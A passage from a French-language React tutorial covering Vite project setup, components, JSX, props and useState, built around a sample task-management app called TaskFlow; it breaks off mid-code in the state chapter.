Assure-toi de pouvoir répondre à ces questions sans regarder les notes :

  [WHITE_SQUARE] Qu'est-ce que le DOM ?
  [WHITE_SQUARE] Quelle est la différence entre const et let ?
  [WHITE_SQUARE] Que fait Array.map() ?
  [WHITE_SQUARE] Qu'est-ce que la déstructuration ?
  [WHITE_SQUARE] Comment fonctionne async/await ?
  [WHITE_SQUARE] Qu'est-ce que le Virtual DOM et pourquoi React l'utilise ?
  [WHITE_SQUARE] Quelle est la différence entre == et === ?
  [WHITE_SQUARE] Comment copier un objet sans le muter ?
  [WHITE_SQUARE] Qu'est-ce qu'un module ES6 ?
  [WHITE_SQUARE] Qu'est-ce que la délégation d'événements ?

Si tu peux répondre à tout : bravo, tu es prêt pour React !
Si non : relis les sections correspondantes avant de continuer.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
FIN DE LA PARTIE 1
Continuer avec : react_master_part_2.txt
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
================================================================================
REACT MASTER GUIDE © 2024 — PARTIE 1/8 — FONDATIONS WEB
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 2 : INTRODUCTION À REACT
Installation · Vite · Composants · JSX
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 6  ->  Qu'est-ce que React ?
  CHAPITRE 7  ->  Installation avec Vite
  CHAPITRE 8  ->  Composants React
  CHAPITRE 9  ->  JSX — JavaScript XML
  PROJET      ->  TaskFlow v1 — Structure statique
═══════════════════════════════════════════════════════════════════════════════

CHAPITRE 6 : QU'EST-CE QUE REACT ?

React est une bibliothèque JavaScript open-source créée par Facebook (Meta) en
2013 pour construire des interfaces utilisateur (UI).

LES 3 PRINCIPES FONDAMENTAUX :
  1. DÉCLARATIF : tu décris QUOI afficher, pas comment modifier le DOM.
  2. COMPOSANTS : l'UI est découpée en briques réutilisables.
  3. LEARN ONCE, USE ANYWHERE : React DOM (web), React Native (mobile), etc.

VIRTUAL DOM :
  <TaskCard title="Fix bug" priority="high" />
  -> Transformé en objet JS (VDOM) -> Diff -> Mise à jour du vrai DOM

REACT 18 — CONCURRENT MODE :
  Peut interrompre un render pour en traiter un plus urgent.
  Nouvelles APIs : startTransition, useDeferredValue, Suspense natif.

REACT vs ALTERNATIVES :
  React    -> bibliothèque, Meta, emplois #1
  Vue      -> framework, Evan You, apprentissage facile
  Angular  -> framework complet, Google, entreprise
  Svelte   -> compilateur, Rich Harris, très léger

CHAPITRE 7 : INSTALLATION AVEC VITE

VITE vs CRA :
  CRA  -> Webpack, 30-60s démarrage, déprécié 2023
  Vite -> ES modules natifs, < 1s de démarrage <- RECOMMANDÉ

CRÉER LE PROJET :
  npm create vite@latest taskflow -- --template react
  cd taskflow
  npm install
  npm run dev        -> http://localhost:5173

================================================================================
CRÉATION D’UN PROJET REACT AVEC VITE — EXPLICATION COMPLÈTE
================================================================================

OBJECTIF :
Créer une application React moderne en utilisant Vite, un outil rapide
pour initialiser et exécuter des projets frontend.

-------------------------------------------------------------------------------
1. COMMANDE : npm create vite@latest taskflow -- --template react
-------------------------------------------------------------------------------

EXPLICATION :

- npm :
  C’est le gestionnaire de paquets de Node.js. Il permet d’installer
  des outils et des bibliothèques.

- create vite@latest :
  Cette commande lance l’outil officiel de création de projet Vite.
  "@latest" signifie que tu utilises la dernière version disponible.

- taskflow :
  C’est le nom du projet (et du dossier) qui sera créé.
  Tu peux changer ce nom par ce que tu veux.

- -- --template react :
  Cela indique à Vite que tu veux un projet basé sur React.
  (Le double "--" sert à passer des arguments internes à Vite.)

CE QUI SE PASSE EN INTERNE :
- Vite crée un dossier "taskflow"
- Il ajoute les fichiers de base React
- Il configure tout automatiquement

STRUCTURE CRÉÉE (simplifiée) :
taskflow/
  ├── index.html
  ├── package.json
  ├── vite.config.js
  ├── src/
  │    ├── main.jsx
  │    ├── App.jsx
  │    └── assets/
  └── node_modules/ (après installation)

-------------------------------------------------------------------------------
2. COMMANDE : cd taskflow
-------------------------------------------------------------------------------

EXPLICATION :

- cd signifie "change directory" (changer de dossier)
- Tu entres dans le dossier du projet que tu viens de créer

IMPORTANT :
Toutes les prochaines commandes doivent être exécutées dans ce dossier.

-------------------------------------------------------------------------------
3. COMMANDE : npm install
-------------------------------------------------------------------------------

EXPLICATION :

- Cette commande installe toutes les dépendances nécessaires au projet
- Elle lit le fichier "package.json"
- Elle télécharge toutes les bibliothèques dans "node_modules"

EXEMPLES DE DÉPENDANCES :
- react
- react-dom
- vite
- plugins divers

CE QUI SE PASSE :
- Création du dossier node_modules/
- Création du fichier package-lock.json
- Installation complète de l’environnement

-------------------------------------------------------------------------------
4. COMMANDE : npm run dev
-------------------------------------------------------------------------------

EXPLICATION :

- "npm run" permet d’exécuter un script défini dans package.json
- "dev" est le script pour lancer le serveur de développement

CE QUE ÇA FAIT :
- Démarre un serveur local rapide (Vite)
- Compile ton code automatiquement
- Recharge la page en temps réel (Hot Reload)

RÉSULTAT :
-> Une URL s’affiche, généralement :
  http://localhost:5173

-------------------------------------------------------------------------------
5. ACCÈS AU PROJET
-------------------------------------------------------------------------------

- Ouvre ton navigateur
- Va sur : http://localhost:5173

TU VERRAS :
- Une application React prête à être modifiée
- Le fichier principal est :
  src/App.jsx

-------------------------------------------------------------------------------
6. COMMENT ÇA FONCTIONNE (SIMPLIFIÉ)
-------------------------------------------------------------------------------

index.html
  -> Point d’entrée HTML

main.jsx
  -> Initialise React
  -> Injecte l’application dans la page

App.jsx
  -> Composant principal de ton application

Vite
  -> Sert de serveur rapide
  -> Compile ton code instantanément

-------------------------------------------------------------------------------
7. AVANTAGES DE VITE
-------------------------------------------------------------------------------

- Très rapide (plus rapide que Create React App)
- Configuration simple
- Rechargement instantané
- Support moderne (ES Modules)

-------------------------------------------------------------------------------
8. RÉSUMÉ DES ÉTAPES
-------------------------------------------------------------------------------

1. Créer le projet :
   npm create vite@latest taskflow -- --template react

2. Aller dans le dossier :
   cd taskflow

3. Installer les dépendances :
   npm install

4. Lancer le serveur :
   npm run dev

5. Ouvrir dans le navigateur :
   http://localhost:5173

-------------------------------------------------------------------------------
FIN
-------------------------------------------------------------------------------

COMMANDES :
  npm run dev      -> Dev (hot reload)
  npm run build    -> Production (-> dist/)
  npm run preview  -> Preview build
  npm run lint     -> ESLint
  npm run test     -> Tests

STRUCTURE PROFESSIONNELLE :
  src/
  ├── api/                  <- Couche HTTP
  ├── components/
  │   ├── common/           <- Design System (Button, Input, Modal...)
  │   ├── layout/           <- Header, Sidebar, AppLayout
  │   └── tasks/            <- Composants métier TaskCard, TaskList...
  ├── hooks/                <- Custom hooks
  ├── pages/                <- Pages (une par route)
  ├── store/                <- State global
  ├── styles/               <- CSS globaux + variables
  ├── utils/                <- Fonctions utilitaires pures
  ├── constants/
  ├── App.jsx
  └── main.jsx

VITE.CONFIG.JS (alias) :
  import path from 'path';
  export default defineConfig({
    resolve: {
      alias: {
        '@':           path.resolve(__dirname, './src'),
        '@components': path.resolve(__dirname, './src/components'),
        '@hooks':      path.resolve(__dirname, './src/hooks'),
        '@pages':      path.resolve(__dirname, './src/pages'),
        '@utils':      path.resolve(__dirname, './src/utils'),
        '@api':        path.resolve(__dirname, './src/api'),
      },
    },
  });

Usage:
  '@components': path.resolve(__dirname, './src/components')

  - Permet d’accéder aux composants React
  - Exemple :
  import Button from "@components/Button"


VARIABLES D'ENVIRONNEMENT :
  # .env.local
  VITE_API_URL=http://localhost:3001/api
  # Dans le code :
  const url = import.meta.env.VITE_API_URL;
  # Seules les variables VITE_* sont exposées côté client !

CHAPITRE 8 : COMPOSANTS REACT

Un composant = fonction JS qui accepte des props et retourne du JSX.

RÈGLES :
  ① Nom en MAJUSCULE (<Hello /> pas <hello />)
  ② Retourner UN SEUL élément racine (ou <> Fragment </>)
  ③ Purs : même props -> même rendu

PROPS :
  <TaskCard
    title="Fix bug"           // String
    count={42}                // Number
    isActive={true}           // Boolean (raccourci : isActive)
    tags={['bug', 'ui']}      // Array
    user={{ name: 'Alice' }}  // Object (double accolades)
    onSave={handleSave}       // Fonction
  />

  // Réception avec déstructuration :
  function TaskCard({ title, priority = 'medium', tags = [], onComplete }) {
    return (
      <article>
        <h3>{title}</h3>
        {tags.map(tag => <span key={tag}>#{tag}</span>)}
        <button onClick={() => onComplete(title)}>Terminer</button>
      </article>
    );
  }

PROP CHILDREN :
  function Card({ title, children }) {
    return <div className="card"><h2>{title}</h2>{children}</div>;
  }
  <Card title="Stats">
    <p>Total : 15 tâches</p>
  </Card>

SPREAD PROPS (rest) :
  function Button({ children, variant = 'primary', ...rest }) {
    return <button className={`btn btn-${variant}`} {...rest}>{children}</button>;
  }
CHAPITRE 9 : JSX
JSX = extension syntaxique de JS. Babel le transforme en React.createElement().

DIFFÉRENCES JSX vs HTML :
  class -> className    |  for -> htmlFor
  onclick -> onClick    |  <br> -> <br />
  style="color:red" -> style={{ color: 'red' }}

EXPRESSIONS (accolades) :
  {user.name}                          // Variable
  {formatDate(task.dueDate)}           // Fonction
  {isActive ? 'Actif' : 'Inactif'}     // Ternaire
  {className={`card ${isSelected ? 'active' : ''}`}}

RENDU CONDITIONNEL :
  {isLoggedIn && <UserMenu />}         // Court-circuit
  {isLoading ? <Spinner /> : <List />} // Ternaire
  // [ATTENTION] Piège : {count && <List />} -> "0" si count=0
  // [OK] Correction : {count > 0 && <List />}

LISTES :
  {tasks.map(task => (
    <li key={task.id}>   // <- key sur l'élément EXTERNE !
      <TaskCard task={task} />
    </li>
  ))}
  // Key doit être stable et unique. Éviter l'index si liste dynamique.

ERREURS FRÉQUENTES :
  [X] Plusieurs racines -> <><h1/><p/></>
  [X] Afficher un objet -> task.title
  [X] key au mauvais endroit -> sur le li, pas sur TaskCard
  [X] class -> className

PROJET TASKFLOW V1 — APP STATIQUE COMMENTÉE

  // src/data/mockData.js
  export const MOCK_USER = {
    id: 1, name: 'Alice Martin', email: 'alice@taskflow.app', role: 'admin',
  };
  export const MOCK_TASKS = [
    { id: 1, title: 'Créer le wireframe', status: 'done',
      priority: 'high', assignee: { name: 'Alice' }, tags: ['design'] },
    { id: 2, title: "Implémenter l'auth", status: 'in_progress',
      priority: 'high', assignee: { name: 'Bob' }, tags: ['backend'] },
    { id: 3, title: 'Tests unitaires', status: 'todo',
      priority: 'medium', assignee: { name: 'Alice' }, tags: ['testing'] },
  ];

  // src/App.jsx
  import { MOCK_USER, MOCK_TASKS } from './data/mockData';

  const STATUS_LABEL = {
    todo: '[LISTE] À faire', in_progress: '[RAPIDE] En cours', done: '[OK] Terminé',
  };
  const PRIORITY_LABEL = { high: '[ORANGE] Haute', medium: '[JAUNE] Moyenne', low: '[VERT] Basse' };

  function StatCard({ label, value, icon }) {
    return (
      <div className="stat-card">
        <span aria-hidden="true">{icon}</span>
        <p className="value">{value}</p>
        <p className="label">{label}</p>
      </div>
    );
  }

  function TaskCard({ task }) {
    const { title, status, priority, assignee, tags } = task;
    return (
      <article className={`task-card task-card--${priority}`}>
        <h3>{title}</h3>
        <div>
          <span className={`badge status-${status}`}>{STATUS_LABEL[status]}</span>
          <span className={`badge priority-${priority}`}>{PRIORITY_LABEL[priority]}</span>
        </div>
        {tags.length > 0 && (
          <ul className="tags">
            {tags.map(tag => <li key={tag}>#{tag}</li>)}
          </ul>
        )}
        <footer>
          <span className="avatar">{assignee.name[0]}</span>
          {assignee.name}
        </footer>
        <div className="actions">
          <button onClick={() => alert(`Terminer: ${title}`)}>Terminer</button>
          <button onClick={() => alert(`Modifier: ${title}`)}>Modifier</button>
        </div>
      </article>
    );
  }

  function App() {
    const tasks = MOCK_TASKS;
    const done  = tasks.filter(t => t.status === 'done').length;

    return (
      <div className="app-layout">
        <header className="app-header">
          <span className="logo">TaskFlow</span>
          <nav>
            <a href="#">Dashboard</a>
            <a href="#">Tâches</a>
          </nav>
          <span>Alice Martin</span>
        </header>

        <main className="app-main">
          <h1>Bonjour, Alice ! [WAVING_HAND_SIGN]</h1>

          <section className="stats-grid">
            <StatCard label="Total"    value={tasks.length} icon="[GRAPHIQUE]" />
            <StatCard label="Terminées" value={done}         icon="[OK]" />
            <StatCard label="En cours" value={tasks.filter(t => t.status === 'in_progress').length} icon="[RAPIDE]" />
            <StatCard label="À faire"  value={tasks.filter(t => t.status === 'todo').length}        icon="[LISTE]" />
          </section>

          <section>
            <h2>Tâches récentes</h2>
            {tasks.length === 0 ? (
              <p>Aucune tâche. Créez-en une !</p>
            ) : (
              <ul className="task-list">
                {tasks.map(task => (
                  <li key={task.id}><TaskCard task={task} /></li>
                ))}
              </ul>
            )}
          </section>
        </main>
      </div>
    );
  }
  export default App;

RÉSUMÉ PARTIE 2 :
  [OK] React = bibliothèque déclarative basée sur composants
  [OK] Vite = outil de build ultra-rapide (< 1s)
  [OK] Composants fonctionnels = fonctions JS -> JSX
  [OK] Props = données en entrée (immuables)
  [OK] JSX = syntaxe HTML-like compilée en React.createElement
  [OK] Rendu conditionnel : &&, ternaire, if/else
  [OK] Listes : .map() avec key obligatoire et stable

PROCHAINE PARTIE : State (useState) + Événements -> App interactive !
================================================================================
FIN PARTIE 2 -> Continuer : react_master_part_3.txt
================================================================================

================================================================================
REACT MASTER GUIDE — PARTIE 3 : PROPS, STATE, USESTATE, ÉVÉNEMENTS
================================================================================
VERSION 1.0 | CHAPITRES 10–13 | PROJET : TaskFlow v2 Interactive
================================================================================

TABLE DES MATIÈRES
═══════════════════════════════════════════════════════════════════════════════
  CHAPITRE 10  ->  Props (approfondissement)
  CHAPITRE 11  ->  State — Le cœur de React
  CHAPITRE 12  ->  useState — Hook fondamental
  CHAPITRE 13  ->  Événements React
  PROJET       ->  TaskFlow v2 — Application interactive
═══════════════════════════════════════════════════════════════════════════════


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 10 : PROPS — APPROFONDISSEMENT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
10.1 — FLUX DE DONNÉES UNIDIRECTIONNEL (ONE-WAY DATA FLOW)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

React impose un flux de données dans UNE SEULE DIRECTION : Parent -> Enfant.
Un enfant NE PEUT PAS modifier les props qu'il reçoit.

  Parent (state: tasks)
       │
       │ props: tasks={tasks}
       v
  TaskList
       │
       │ props: task={task}
       v
  TaskCard <- ne peut que LIRE task, pas le modifier

POURQUOI CE CHOIX ?
  • Prévisibilité : l'état vient toujours du haut
  • Debug facile : on sait où chercher la source de vérité
  • Performance : React sait quand re-render

COMMENT UN ENFANT COMMUNIQUE AVEC LE PARENT ?
  Via des CALLBACKS passés en props :

  // Parent :
  function TasksPage() {
    const [tasks, setTasks] = useState(initialTasks);

    const handleComplete = (taskId) => {
      setTasks(prev => prev.map(t =>
        t.id === taskId ? { ...t, status: 'done' } : t
      ));
    };

    return <TaskList tasks={tasks} onComplete={handleComplete} />;
    //                              ^ Callback passé en prop
  }

  // Enfant :
  function TaskCard({ task, onComplete }) {
    return (
      <button onClick={() => onComplete(task.id)}>
        Terminer
      </button>
      // ^ Enfant appelle le callback -> Parent met à jour son state
    );
  }

  FLUX d'une action "Terminer une tâche" :
    Clic bouton (enfant TaskCard)
         v
    onComplete(task.id) appelé
         v
    handleComplete(taskId) exécuté dans le parent
         v
    setTasks() mis à jour
         v
    React re-render TasksPage + TaskList + TaskCard(s)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
10.2 — PROP DRILLING ET SES LIMITES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le "prop drilling" se produit quand on passe des props à travers plusieurs
niveaux de composants qui n'en ont pas besoin.

PROBLÈME :
  App (state: user)
   └─ Dashboard (passe user)
       └─ Sidebar (passe user)
           └─ UserProfile (passe user)
               └─ Avatar  <- l'UNIQUE composant qui utilise user !

  Dashboard et Sidebar reçoivent user sans l'utiliser -> couplage inutile.

SOLUTIONS :
  • Context API (Chapitre 24)
  • Zustand / Redux (Chapitre 25-26)
  • Composition de composants (passer des composants, pas des données)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
10.3 — PROP TYPES (VALIDATION)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

En JavaScript, React ne valide pas les types des props par défaut.
PropTypes ajoute cette validation (en développement uniquement).

  npm install prop-types

  import PropTypes from 'prop-types';

  function TaskCard({ task, onComplete, onDelete }) {
    // ...
  }

  TaskCard.propTypes = {
    task: PropTypes.shape({
      id:       PropTypes.number.isRequired,
      title:    PropTypes.string.isRequired,
      status:   PropTypes.oneOf(['todo', 'in_progress', 'done', 'cancelled']).isRequired,
      priority: PropTypes.oneOf(['low', 'medium', 'high', 'critical']).isRequired,
      assignee: PropTypes.shape({
        id:   PropTypes.number,
        name: PropTypes.string.isRequired,
      }).isRequired,
      dueDate:  PropTypes.instanceOf(Date),
      tags:     PropTypes.arrayOf(PropTypes.string),
    }).isRequired,
    onComplete: PropTypes.func.isRequired,
    onDelete:   PropTypes.func.isRequired,
    onEdit:     PropTypes.func,
  };

  TaskCard.defaultProps = {
    onEdit: () => {},
  };

  NOTE : En TypeScript, les types remplacent PropTypes (plus puissant).
  Pour ce guide on reste en JS + PropTypes pour la compatibilité.


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 11 : STATE — LE CŒUR DE REACT
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
11.1 — QU'EST-CE QUE LE STATE ?
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Le state est la MÉMOIRE d'un composant. C'est un ensemble de données qui :
  • Peuvent CHANGER dans le temps
  • Déclenchent un RE-RENDER quand ils changent
  • Sont PRIVÉES au composant (sauf si passées en props)

PROPS vs STATE :

  ┌──────────────────┬─────────────────────────┬─────────────────────────┐
  │                  │         PROPS           │          STATE          │
  ├──────────────────┼─────────────────────────┼─────────────────────────┤
  │ Source           │ Parent (externe)        │ Composant lui-même      │
  │ Modifiable par   │ Le parent seulement     │ Le composant lui-même   │
  │ Déclenchement    │ Re-render si parent     │ Re-render automatique   │
  │ Immutabilité     │ Oui (read-only)         │ Via setter uniquement   │
  │ Scope            │ Reçu de l'extérieur     │ Interne au composant    │
  └──────────────────┴─────────────────────────┴─────────────────────────┘

QU'EST-CE QUI DOIT ÊTRE DANS LE STATE ?
  [OK] Données qui changent (counter, isOpen, formData, tasks...)
  [OK] Données issues d'interactions utilisateur
  [OK] Données asynchrones (API responses)
  [X] Données dérivables d'autres (calculer depuis state/props)
  [X] Props (ne pas copier les props dans le state)
  [X] Constantes (ne changent jamais)

EXEMPLES CONCRETS TASKFLOW :

  État UI :
    isMenuOpen        -> true/false
    activeTab         -> 'all' | 'todo' | 'done'
    isModalOpen       -> true/false
    isLoading         -> true/false
    errorMessage      -> string | null

  Données :
    tasks             -> Task[]
    currentUser       -> User | null
    selectedTaskId    -> number | null

  Formulaire :
    formValues        -> { title, priority, assignee, dueDate }
    formErrors        -> { title: string, ... }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
11.2 — COMMENT REACT GÈRE LE STATE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

SNAPSHOT MODEL :
  Chaque render, React prend un "snapshot" du composant.
  Quand setState() est appelé :
    1. React planifie un nouveau render
    2. La fonction composant est ré-exécutée entièrement
    3. React compare le nouveau snapshot avec l'ancien (Virtual DOM diff)
    4. Les changements sont appliqués au vrai DOM

BATCHING (React 18) :
  React 18 regroupe automatiquement plusieurs setState en un seul render.

  // Avant React 18 :
  setCount(c => c + 1);   // Render 1
  setName('Alice');       // Render 2
  // -> 2 renders

  // React 18 : batching automatique (1 seul render) :
  setCount(c => c + 1);   // Planifié...
  setName('Alice');       // Planifié...
  // -> 1 render groupé <- 2x plus efficace

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
11.3 — OÙ PLACER LE STATE ? (LIFTING STATE UP)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

RÈGLE : Placer le state dans le composant le plus bas possible
qui en a besoin. Si plusieurs composants partagent le même state,
le "remonter" (lift up) dans leur ancêtre commun.

EXEMPLE :

  MAUVAIS (tasks dans plusieurs composants) :
    TaskList (state: tasks)     <- doublon !
    TaskStats (state: tasks)    <- doublon !

  CORRECT (state remonté dans l'ancêtre commun) :
    TasksPage (state: tasks)
      ├─ TaskList (tasks reçues en props)
      └─ TaskStats (tasks reçues en props)

ARBRE DE STATE TASKFLOW :
  App
  ├─── AuthContext (currentUser) <- partagé globalement
  └─── Router
       ├─── DashboardPage (tasks, stats)
       │     ├─── TaskList (reçoit tasks)
       │     └─── StatsGrid (reçoit stats)
       └─── TasksPage (filter, sortBy, searchQuery, tasks)
             ├─── TaskFilter (reçoit filter, onChange)
             ├─── TaskSearch (reçoit query, onChange)
             └─── TaskList (reçoit tasks filtrées)


════════════════════════════════════════════════════════════════════════════════
CHAPITRE 12 : USESTATE — HOOK FONDAMENTAL
════════════════════════════════════════════════════════════════════════════════

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
12.1 — SYNTAXE ET FONCTIONNEMENT
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  import { useState } from 'react';

  function Counter() {
    //        v valeur actuelle   v fonction de mise à jour
    const [count, setCount] = useState(0);
    //                                  ^ valeur initiale

    return (
      <div>
        <p>Compteur : {count}</p>
        <button onClick={() => setCount(count + 1)}>+1</button>
        <button onClick={() => setCount(count - 1)}>-1</button>
        <button onClick={() => setCount(0)}>Reset</button>
      </div>
    );
  }

FONCTIONNEMENT INTERNE :
  • useState retourne un TABLEAU de 2 éléments -> déstructuration
  • [valeur, setter] est la convention
  • La valeur initiale est utilisée UNIQUEMENT au premier render
  • Appeler setter() -> React planifie un nouveau render
  • La valeur n'est PAS mise à jour immédiatement dans la même fonction

MISE À JOUR FONCTIONNELLE (RECOMMANDÉE) :
  // [X] Peut avoir des problèmes si plusieurs updates groupées :
  setCount(count + 1);

  // [OK] Mise à jour fonctionnelle — toujours basée sur la valeur précédente :
  setCount(prev => prev + 1);

  // CRUCIAL pour les tableaux et objets :
  setTasks(prev => [...prev, newTask]);     // Ajouter
  setTasks(prev => prev.filter(t => t.id !== id));  // Supprimer

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
12.2 — STATE AVEC DIFFÉRENTS TYPES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

BOOLEAN :
  const [isOpen, setIsOpen] = useState(false);
  const [isLoading, setIsLoading] = useState(false);
  const [isMobileMenuOpen, setIsMobileMenuOpen] = useState(false);

  // Toggle :
  const toggleMenu = () => setIsOpen(prev => !prev);

  // Affichage :
  {isOpen && <Modal onClose={() => setIsOpen(false)} />}

STRING :
  const [searchQuery, setSearchQuery] = useState('');
  const [activeTab, setActiveTab] = useState('all');
  const [error, setError] = useState(null);

  // Mise à jour depuis un input :
  <input
    value={searchQuery}
    onChange={e => setSearchQuery(e.target.value)}
  />

NUMBER :
  const [count, setCount] = useState(0);
  const [page, setPage] = useState(1);
  const [selectedId, setSelectedId] = useState(null);

OBJET :
  const [user, setUser] = useState({
    name: '',
    email: '',
    role: 'user',
  });

  // CRUCIAL : Ne jamais muter directement, toujours créer un nouvel objet :
  // [X] Mutation directe (ne déclenche PAS de re-render) :
  user.name = 'Alice';  // JAMAIS ÇA !

  // [OK] Spread operator — crée un NOUVEL objet :
  setUser(prev => ({ ...prev, name: 'Alice' }));

  // Mettre à jour un champ dynamiquement :
  const handleChange = (field) => (e) => {
    setUser(prev => ({ ...prev, [field]: e.target.value }));
  };
  <input onChange={handleChange('name')} value={user.name} />
  <input onChange={handleChange('email')} value={user.email} />

  // Objet imbriqué :
  const [settings, setSettings] = useState({
    theme: 'light',
    notifications: { email: true, push: false },
  });

  // Mettre à jour imbriqué :
  const toggleEmailNotif = () => {
    setSettings(prev => ({
      ...prev,
      notifications: {
        ...prev.notifications,
        email: !prev.notifications.email,
      },
    }));
  };

TABLEAU :
  const [tasks, setTasks] = useState([]);

  // RÈGLE D'OR : NE JAMAIS muter le tableau. Toujours en créer un nouveau.

  // AJOUTER (à la fin) :
  const addTask = (newTask) => {
    setTasks(prev => [...prev, newTask]);
  };

  // AJOUTER (au début) :
  const prependTask = (newTask) => {
    setTasks(prev => [newTask, ...prev]);
  };

  // SUPPRIMER :
  const deleteTask = (taskId) => {
    setTasks(prev => prev.filter(task => task.id !== taskId));
  };

  // MODIFIER :
  const updateTask = (taskId, updates) => {
    setTasks(prev => prev.map(task =>
      task.id === taskId ? { ...task, ...updates } : task
    ));
  };

  // RÉORDONNER :
  const moveTask = (fromIndex, toIndex) => {
    setTasks(prev => {
      const newTasks = [...prev];
      const [moved] = newTasks.splice(fromIndex, 1);
      newTasks.splice(toIndex, 0, moved);
      return newTasks;
    });
  };

  // REMPLACER TOUT :
  const setAllTasks = (newTasks) => setTasks(newTasks);

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
12.3 — INITIALISATION PARESSEUSE (LAZY INITIALIZATION)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Si la valeur initiale est coûteuse à calculer, utiliser une fonction :

  // [X] Calculé À CHAQUE render (inefficace) :
  const [tasks, setTasks] = useState(expensiveComputation());

  // [OK] Calculé UNE SEULE FOIS (lazy init) :
  const [tasks, setTasks] = useState(() => expensiveComputation());

  // Exemple réel — charger depuis localStorage :
  const [preferences, setPreferences] = useState(() => {
    try {
      const saved = localStorage.getItem('userPreferences');
      return saved ? JSON.parse(saved) : DEFAULT_PREFERENCES;
    } catch {
      return DEFAULT_PREFERENCES;
    }
  });

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
12.4 — RÈGLES DES HOOKS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

Les HOOKS sont des fonctions spéciales React commençant par "use".
Ils ont des règles STRICTES :

  ① N'appeler les hooks QUE dans des composants React ou custom hooks
     [X] Dans une fonction JS normale
     [X] Dans une classe
     [OK] Dans un composant fonctionnel
     [OK] Dans un custom hook (useXxx)

  ② N'appeler les hooks QUE au niveau supérieur
     [X] Dans une condition : if (condition) { useState(...) }
     [X] Dans une boucle :   for (...) { useState(...) }
     [X] Dans une fonction imbriquée
     [OK] Directement dans le corps du composant

  POURQUOI ? React identifie les hooks par leur ORDRE d'appel.
  Si l'ordre change entre les renders -> corruption du state.

  // [X] MAUVAIS (hook dans une condition) :
  function Component({ isLoggedIn }) {
    if (isLoggedIn) {
      const [user, setUser] = useState(null);  // <- ERREUR
    }
    // ...
  }

  // [OK] CORRECT :
  function Component({ isLoggedIn }) {
    const [user, setUser] = useState(null);  // Toujours appelé
    // Utiliser isLoggedIn dans le JSX, pas pour conditionner les hooks
  }

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
12.5 — MULTIPLE USESTATE — ORGANISATION
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  function TasksPage() {
    // === STATE DE DONNÉES ===
    const [tasks, setTasks]       = useState([]);
    const [selectedTask, setSelectedTask] = useState(null);

    // === STATE UI ===
    const [isLoading, setIsLoading] = useState(false);
    const [error, setError]         = useState(null);
    const [isModalOpen, setIsModalOpen] = useState(false);

    // === STATE FILTRES ===
    const [filter, setFilter]   = useState('all');
    const [sortBy, setSortBy]   = useState('dueDate');
    const [searchQuery, setSearchQuery] = useState('');

    // === DONNÉES DÉRIVÉES (pas dans le state) ===
    const filteredTasks = tasks
      .filter(task => {
        if (filter === 'all') return true;
        return task.status === filter;
      })
      .filter(task =>
